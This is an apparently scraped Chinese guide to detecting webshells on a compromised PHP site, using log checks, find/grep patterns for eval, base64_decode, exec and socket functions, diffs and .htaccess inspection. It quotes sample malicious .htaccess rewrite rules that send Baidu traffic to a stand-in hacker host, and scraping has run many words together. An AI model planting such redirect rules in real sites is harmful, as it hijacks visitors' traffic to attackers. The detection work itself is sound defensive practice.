htaccess文件還能夠被用來把訪問網站的流量劫持到黑客的網站

看是否有文件上傳操做(POST方法),php

IPREMOVED--[01/Mar/2013:06:16:48-0600]"POST/uploads/monthly_10_2012/view.php HTTP/1.1"20036"-""Mozilla/5.0" IPREMOVED--[01/Mar/2013:06:12:58-0600]"POST/public/style_images/master/profile/blog.php HTTP/1.1"20036"-""Mozilla/5.0"nginx

nginx默認記錄的日誌格式爲:web

access_log logs/access.log正則表達式

shell

access_log logs/access.log combined;數據庫

nginx默認記錄日誌的位置爲:promise

nginx安裝目錄/log/ 0x02 查找含有惡意php代碼的文件網絡

2.1 查找最近發生變化的php文件app

find.-typef-name'*.php'-mtime-7socket

-type f 表示搜索正常的通常文件 -mtime -7 表示7*24小時內修改的文件

結果可能以下:

./uploads/monthly_04_2008/index.php ./uploads/monthly_10_2008/index.php ./uploads/monthly_08_2009/template.php ./uploads/monthly_02_2013/index.php

2.2 查找文件中是否存在疑似代碼

find.-typef-name'*.php'|xargsgrep-l"eval *("--color

(*表明任意個空格)

find.-typef-name'*.php'|xargsgrep-l"base64_decode *("--color find.-typef-name'*.php'|xargsgrep-l"gzinflate *("--color find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color

註解:不少命令不支持管道傳遞參數,而實際上又須要這樣,因此就用了xargs命令,這個命令能夠用來管道傳遞參數;grep -l表示只包含某個字符串的文件名,若是去掉-l則會顯示匹配特定字符串的行內容

幾個特殊字符串的意義: eval()把字符串按照php代碼來執行,是最多見的php一句話木馬

base64_decode() 將字符串base64解碼,攻擊的時候payload是base64編碼,則這個函數就有用武之地了

gzinflate(2881064151) 將字符串解壓縮處理,攻擊的時候payload用gzdeflate壓縮以後,使用這個函數進行解壓縮

str_rot13() 對字符串進行rot13編碼

也可使用正則表達式來搜索文件,查找能夠代碼:

find.-typef-name'*.php'|xargsegrep-i"(mail|fsockopen|pfsockopen|stream\_socket\_client|exec|system|passthru|eval|base64_decode) *("

下面解釋webshell經常使用的函數:

mail():可用來向網站用戶發送垃圾郵件

fsockopen():打開一個網絡鏈接或者一個unix套接字鏈接,可用於payload發送遠程請求

pfsockopen():和fsockopen()做用相似

stream_socket_client():創建一個遠程鏈接,例子以下:

<?php $fp=stream_socket_client("tcp://www.example.com:80",$errno,$errstr,30); if(!$fp){ echo"$errstr($errno)<br/>\n"; }else{ fwrite($fp,"GET/HTTP/1.0\r\nHost:www.example.com\r\nAccept:*/*\r\n\r\n"); while(!feof($fp)){ echofgets($fp,1024); } fclose($fp); } ?>

exec():命令執行函數

system():同exec()

passthru():同exec()

preg_replace()正則表達式由修飾符"e"修飾的時候,替換字符串在替換以前須要按照php代碼執行,這種狀況也須要考慮到,這種狀況可採用這種如下掃搜:

find.-typef-name'*.php'|xargsegrep-i"preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *,"--color 0x03 比較代碼文件

這種狀況須要有一份乾淨的代碼,這份代碼和正在使用的代碼進行比較。例如

diff-rwordpress-clean/wordpress-compromised/-xwp-content

上面的例子是比較wordpress-clean/ 和wordpress-comprised/兩個目錄,而且目錄裏面的wp-content/子目錄不比較

0x04 搜尋可寫的目錄

看這個目錄裏面是否有可疑文件,以下腳本查找權限爲777的目錄是否存在php文件

search_dir=$(pwd) writable_dirs=$(find$search_dir-typed-perm0777) fordirin$writable_dirs do #echo $dir find$dir-typef-name'*.php' done

黑客常常在jpg文件中插入php代碼,所以在查詢這些目錄的時候也要查詢jpg文件:

findwp-content/uploads-typef-iname'*.jpg'|xargsgrep-iphp

注意:-iname 表示文件名不區分大小寫 grep -i 也表示不區分大小寫

0x05 檢測iframe標籤

黑客常常作的是嵌入iframe標籤,所以能夠查看網頁的源代碼,而且搜索其中是否存在iframe標籤,可以使用以下命令:

grep-i'<iframe'mywebsite.txt

對於動態生成的頁面,可以使用ff的Live HTTP Headers插件,下載到源碼以後再查找是否存在iframe標籤

0x06 查找數據庫中是否存在敏感字符串

包括%base64_%、%eval(%<等上面提到的一些關鍵詞

0x07 檢查.htaccess文件

是否包含了auto_prepend_file和auto_append_file,使用以下命令

find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file find . -type f -name '\.htaccess' | xargs grep -i auto_append_file

auto_prepend_file的做用是加載當前腳本文件以前,先加載的php腳本 auto_append_file的做用是加載當前腳本文件以後,再加載的php腳本。黑客若是這麼修改了.htaccess文件,那麼能夠在訪問.htaccess目錄的php腳本時,加載上本身想要加載的惡意腳本.

htaccess文件還能夠被用來把訪問網站的流量劫持到黑客的網站,

RewriteCond %{HTTP_USER_AGENT}^.*Baiduspider.*$ Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]

將baidu爬蟲的訪問重定向到黑客的網站(包含HTTP_USER_AGENT和http關鍵字)

RewriteCond %{HTTP_REFERER} ^.*baidu.com.*$ Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]

未來自baidu搜索引擎的流量重定向到黑客的網站(包含HTTP_REFERER和http關鍵字) 爲了查看網站是否被.htaccess修改致使流量劫持,能夠在搜索.htaccess文件的時候採用以下命令:

find . -type f -name '\.htaccess' | xargs grep -i http; find . -type f -name '\.htaccess' | xargs grep -i HTTP_USER_AGENT; find . -type f -name '\.htaccess' | xargs grep -i HTTP_REFERER

相關文章
相關標籤/搜索